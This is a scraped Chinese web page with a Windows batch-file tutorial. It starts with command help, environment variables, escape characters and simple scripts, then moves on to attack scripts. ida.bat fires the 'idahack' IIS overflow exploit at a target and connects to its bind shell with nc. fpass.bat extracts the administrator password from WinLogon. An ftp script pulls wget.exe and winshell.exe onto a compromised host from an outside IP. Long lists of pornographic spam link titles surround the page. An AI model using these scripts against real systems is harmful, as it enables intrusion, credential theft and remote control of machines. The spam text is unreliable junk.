亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 編程 > BAT > 正文

批處理BAT加強函數代碼使用說明

2020-03-29 20:15:22
字體:
來源:轉載
供稿:網友
文章結構
1. 所有內置命令的幫助信息
2. 環境變量的概念
3. 內置的特殊符號(實際使用中間注意避開)
4. 簡單批處理文件概念
5. 附件1 tmp.txt
6. 附件2 sample.bat

######################################################################
1. 所有內置命令的幫助信息
######################################################################
ver
cmd /?
set /?
rem /?
if /?
echo /?
goto /?
for /?
shift /?
call /?
其他需要的常用命令
type /?
find /?
findstr /?
copy /?
______________________________________________________________________
下面將所有上面的幫助輸出到一個文件
echo ver >tmp.txt
ver >>tmp.txt
echo cmd /? >>tmp.txt
cmd /? >>tmp.txt
echo rem /? >>tmp.txt
rem /? >>tmp.txt
echo if /? >>tmp.txt
if /? >>tmp.txt
echo goto /? >>tmp.txt
goto /? >>tmp.txt
echo for /? >>tmp.txt
for /? >>tmp.txt
echo shift /? >>tmp.txt
shift /? >>tmp.txt
echo call /? >>tmp.txt
call /? >>tmp.txt
echo type /? >>tmp.txt
type /? >>tmp.txt
echo find /? >>tmp.txt
find /? >>tmp.txt
echo findstr /? >>tmp.txt
findstr /? >>tmp.txt
echo copy /? >>tmp.txt
copy /? >>tmp.txt
type tmp.txt
______________________________________________________

######################################################################
2. 環境變量的概念
######################################################################
_____________________________________________________________________________
C:/Program Files>set
ALLUSERSPROFILE=C:/document. and Settings/All Users
CommonProgramFiles=C:/Program Files/Common Files
COMPUTERNAME=FIRST
ComSpec=C:/WINNT/system32/cmd.exe
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
Os2LibPath=C:/WINNT/system32/os2/dll;
Path=C:/WINNT/system32;C:/WINNT;C:/WINNT/system32/WBEM
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0605
ProgramFiles=C:/Program Files
PROMPT=$P$G
SystemDrive=C:
SystemRoot=C:/WINNT
TEMP=C:/WINNT/TEMP
TMP=C:/WINNT/TEMP
USERPROFILE=C:/document. and Settings/Default User
windir=C:/WINNT
_____________________________________________________________________________

path: 表示可執行程序的搜索路徑. 我的建議是你把你的程序copy 到
%windir%/system32/. 這個目錄里面. 一般就可以自動搜索到.
語法: copy mychenxu.exe %windir%/system32/.
使用點(.) 便于一目了然
對環境變量的引用使用(英文模式,半角)雙引號
%windir% 變量
%%windir%% 二次變量引用.
我們常用的還有
%temp% 臨時文件目錄
%windir% 系統目錄
%errorlevel% 退出代碼

輸出文件到臨時文件目錄里面.這樣便于當前目錄整潔.

對有空格的參數. 你應該學會使用雙引號("") 來表示比如對porgram file文件夾操作
C:/>dir p*
C:/ 的目錄
2000-09-02 11:47 2,164 PDOS.DEF
1999-01-03 00:47 <DIR> Program Files
1 個文件 2,164 字節
1 個目錄 1,505,997,824 可用字節

C:/>cd pro*
C:/Program Files>

C:/>
C:/>cd "Program Files"
C:/Program Files>


######################################################################
3. 內置的特殊符號(實際使用中間注意避開)
######################################################################
微軟里面內置了下列字符不能夠在創建的文件名中間使用
con nul aux / / │ ││ && ^ > < *

You can use most characters as variable values, including white space. If you use the special characters <, >, │, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:
(大意: 要么你使用^作為前導字符表示.或者就只有使用雙引號""了)
To create the variable value new&name, type:
set varname=new^&name

To create the variable value "new&name", type:
set varname="new&name"

The ampersand (&), pipe (│), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.

find "Pacific Rim" < trade.txt > nwtrade.txt
IF EXIST filename. (del filename.) ELSE echo filename. missing

> 創建一個文件
>> 追加到一個文件后面
@ 前綴字符.表示執行時本行在cmd里面不顯示, 可以使用 echo off關閉顯示
^ 對特殊符號( > < &)的前導字符. 第一個只是顯示aaa 第二個輸出文件bbb
echo 123456 ^> aaa
echo 1231231 > bbb
() 包含命令
(echo aa & echo bb)
, 和空格一樣的缺省分隔符號.
; 注釋,表示后面為注釋
: 標號作用
│ 管道操作
& Usage:第一條命令 & 第二條命令 [& 第三條命令...]
用這種方法可以同時執行多條命令,而不管命令是否執行成功
dir c:/*.exe & dir d:/*.exe & dir e:/*.exe
&& Usage:第一條命令 && 第二條命令 [&& 第三條命令...]
當碰到執行出錯的命令后將不執行后面的命令,如果一直沒有出錯則一直執行完所有命令;
││ Usage:第一條命令 ││ 第二條命令 [││ 第三條命令...]
當碰到執行正確的命令后將不執行后面的命令,如果沒有出現正確的命令則一直執行完所有命令;

常用語法格式
IF [NOT] ERRORLEVEL number command para1 para2
IF [NOT] string1==string2 command para1 para2
IF [NOT] EXIST filename command para1 para2

IF EXIST filename command para1 para2
IF NOT EXIST filename command para1 para2
IF "%1"=="" goto END
IF "%1"=="net" goto NET
IF NOT "%2"=="net" goto OTHER
IF ERRORLEVEL 1 command para1 para2
IF NOT ERRORLEVEL 1 command para1 para2
FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k
按照字母順序 ijklmnopq依次取參數.
eol=c - 指一個行注釋字符的結尾(就一個)
skip=n - 指在文件開始時忽略的行數。
delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的默認分隔符集。


######################################################################
4. 簡單批處理文件概念
######################################################################

echo This is test > a.txt
type a.txt
echo This is test 11111 >> a.txt
type a.txt
echo This is test 22222 > a.txt
type a.txt
第二個echo是追加
第三個echo將清空a.txt 重新創建 a.txt

netstat -n │ find "3389"
這個將要列出所有連接3389的用戶的ip.

________________test.bat___________________________________________________
@echo please care
echo plese care 1111
echo plese care 2222
echo plese care 3333
@echo please care
@echo plese care 1111
@echo plese care 2222
@echo plese care 3333
rem 不顯示注釋語句,本行顯示
@rem 不顯示注釋語句,本行不顯示
@if exist %windir%/system32/find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)
@if exist %windir%/system32/fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)
___________________________________________________________________________

下面我們以具體的一個idahack程序就是ida遠程溢出為例子.應該是很簡單的.

___________________ida.bat_________________________________________________
@rem ver 1.0
@if NOT exist %windir%/system32/idahack.exe echo "ERROR: dont find idahack.exe"
@if NOT exist %windir%/system32/nc.exe echo "ERROR: dont find nc.exe"

@if "%1" =="" goto USAGE
@if NOT "%2" =="" goto SP2

:start
@echo Now start ...
@ping %1
@echo chinese win2k:1 sp1:2 sp2:3
idahack.exe %1 80 1 99 >%temp%/_tmp
@echo "prog exit code [%errorlevel%] idahack.exe"
@type %temp%/_tmp
@find "good luck" %temp%/_tmp
@echo "prog exit code [%errorlevel%] find [goog luck]"
@if NOT errorlevel 1 nc.exe %1 99
@goto END

:SP2
@idahack.exe %1 80 %2 99 %temp%/_tmp
@type %temp%/_tmp
@find "good luck" %temp%/_tmp
@if NOT errorlevel 1 nc.exe %1 99
@goto END

:USAGE
@echo Example: ida.bat IP
@echo Example: ida.bat IP (2,3)

:END
_____________________ida.bat__END_________________________________

下面我們再來第二個文件.就是得到administrator的口令.
大多數人說得不到.其實是自己的沒有輸入正確的信息.

___________________________fpass.bat____________________________________________
@rem ver 1.0
@if NOT exist %windir%/system32/findpass.exe echo "ERROR: dont find findpass.exe"
@if NOT exist %windir%/system32/pulist.exe echo "ERROR: dont find pulist.exe"

@echo start....
@echo ____________________________________
@if "%1"=="" goto USAGE
@findpass.exe %1 %2 %3 >> %temp%/_findpass.txt
@echo "prog exit code [%errorlevel%] findpass.exe"
@type %temp%/_findpass.txt
@echo ________________________________Here__pass★★★★★★★★
@ipconfig /all >>%temp%/_findpass.txt
@goto END

:USAGE
@pulist.exe >%temp%/_pass.txt
@findstr.exe /i "WINLOGON explorer internat" %temp%/_pass.txt
@echo "Example: fpass.bat %1 %2 %3 %4 !!!"
@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"

:END
@echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "
@echo " fpass.bat end [%errorlevel%] !"
_________________fpass.bat___END___________________________________________________________

還有一個就是已經通過telnet登陸了一個遠程主機.怎樣上傳文件(win)
依次在窗口輸入下面的東西. 當然了也可以全部拷貝.Ctrl+V過去. 然后就等待吧!!

echo open 210.64.x.4 3396>w
echo read>>w
echo read>>w
echo cd winnt>>w
echo binary>>w
echo pwd >>w
echo get wget.exe >>w
echo get winshell.exe >>w
echo get any.exe >>w
echo quit >>w
ftp -s:w
 
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
久久久久国产精品一区| 色噜噜狠狠色综合网图区| 国产999视频| 国产精品视频免费观看www| 色偷偷9999www| 国产精品久久色| 91精品在线一区| 91精品国产综合久久久久久久久| 欧美电影《睫毛膏》| 亚洲国产成人久久综合一区| 在线视频一区二区| 伊人久久久久久久久久久| 在线一区二区日韩| 在线观看久久久久久| 久久五月情影视| 成人黄色免费网站在线观看| 欧美剧在线观看| 91麻豆国产语对白在线观看| 亚洲国产精品久久| 日日骚久久av| 在线日韩第一页| 91精品在线一区| 欧美日韩xxxxx| 欧美精品国产精品日韩精品| 色噜噜亚洲精品中文字幕| 国产精品中文在线| 91精品国产91久久久久久不卡| 欧美在线视频播放| 亚洲午夜av久久乱码| 亚洲精品久久久久久久久久久久| 久久99视频免费| 亚洲一级免费视频| 亚洲成avwww人| 欧美激情网友自拍| 国产精品久久久久久久久久三级| 日韩精品视频在线| 欧美劲爆第一页| 日韩欧美大尺度| 国产xxx69麻豆国语对白| 亚洲国产99精品国自产| 亚洲成av人乱码色午夜| 欧美乱大交做爰xxxⅹ性3| 孩xxxx性bbbb欧美| 亚洲新中文字幕| 国产视频丨精品|在线观看| 狠狠久久亚洲欧美专区| 亚洲精品成人免费| 日韩国产欧美精品一区二区三区| 2018国产精品视频| 国产成人免费av电影| 96精品视频在线| 亚洲电影在线看| 亚洲欧美日韩一区二区在线| 69国产精品成人在线播放| 国产有码一区二区| 亚洲xxx自由成熟| 国产亚洲精品va在线观看| 久久免费视频这里只有精品| 国产免费一区二区三区在线能观看| 国产小视频国产精品| 精品视频久久久久久| 一区二区三区www| 亚洲欧洲成视频免费观看| 精品少妇一区二区30p| 情事1991在线| 全亚洲最色的网站在线观看| 中文字幕国产亚洲| 欧美国产视频一区二区| 亚洲国产精品一区二区三区| 亚洲高清在线观看| 亚洲激情中文字幕| 欧美xxxx做受欧美| 亚洲**2019国产| 国产一区二区美女视频| 91精品国产网站| 日韩电影中文字幕一区| 亚洲激情 国产| 2020久久国产精品| 欧美日韩中文在线观看| 欧美性生交大片免费| 国产精品中文字幕在线| 亚洲欧美制服第一页| 4438全国成人免费| 欧美国产一区二区三区| 黑人与娇小精品av专区| 中文字幕亚洲国产| 91精品在线国产| www.欧美精品| 亚洲最大成人免费视频| 国产盗摄xxxx视频xxx69| 青青草国产精品一区二区| 中文日韩在线视频| 国产一区二区三区视频在线观看| 日韩精品高清视频| 欧美成人精品一区| 日韩一区二区三区xxxx| 国产一区二区三区在线免费观看| 国产不卡一区二区在线播放| 黑人欧美xxxx| 国产在线拍偷自揄拍精品| 欧美在线视频网站| 久久精品久久久久| 国产精品18久久久久久首页狼| 久久久这里只有精品视频| 国产精品视频导航| 在线视频日韩精品| 97欧美精品一区二区三区| 午夜精品视频网站| 亚洲精品一区二三区不卡| 色妞在线综合亚洲欧美| 这里只有精品视频| 久久久91精品| 北条麻妃一区二区三区中文字幕| 亚洲最大中文字幕| 国产精品视频yy9099| 亚洲福利视频网| 在线视频欧美日韩精品| 欧美精品电影免费在线观看| www.日韩.com| 92国产精品视频| 日韩av在线影院| 国产精品视频大全| 日韩av观看网址| 欧美一级黄色网| 成人欧美一区二区三区黑人孕妇| 岛国精品视频在线播放| 日韩欧美综合在线视频| 原创国产精品91| 亚洲色在线视频| 亚洲国产第一页| 欧美极品少妇xxxxⅹ裸体艺术| 国产日韩欧美成人| 久久影院资源网| 久久成人精品视频| 亚洲无av在线中文字幕| 97成人精品视频在线观看| 这里只有精品丝袜| 成人免费高清完整版在线观看| 国产精品wwwwww| 欧美福利小视频| 日韩精品视频在线免费观看| 亚洲国产又黄又爽女人高潮的| 俺去了亚洲欧美日韩| 日韩专区在线观看| 色播久久人人爽人人爽人人片视av| 欧美一区二区大胆人体摄影专业网站| 欧美精品一区在线播放| 91久久久久久久久久| 成人午夜两性视频| 日韩在线精品视频| www.欧美三级电影.com| 亚洲欧美三级在线| 亚洲电影av在线| 在线免费看av不卡| 国产精品久久久久久久久粉嫩av| 久久久精品在线观看| 色悠久久久久综合先锋影音下载| 欧美亚洲国产另类| 欧美极品少妇xxxxⅹ喷水| 欧美午夜精品久久久久久浪潮| 91夜夜未满十八勿入爽爽影院| 都市激情亚洲色图| 91高清免费视频| 亚洲欧美国产精品va在线观看|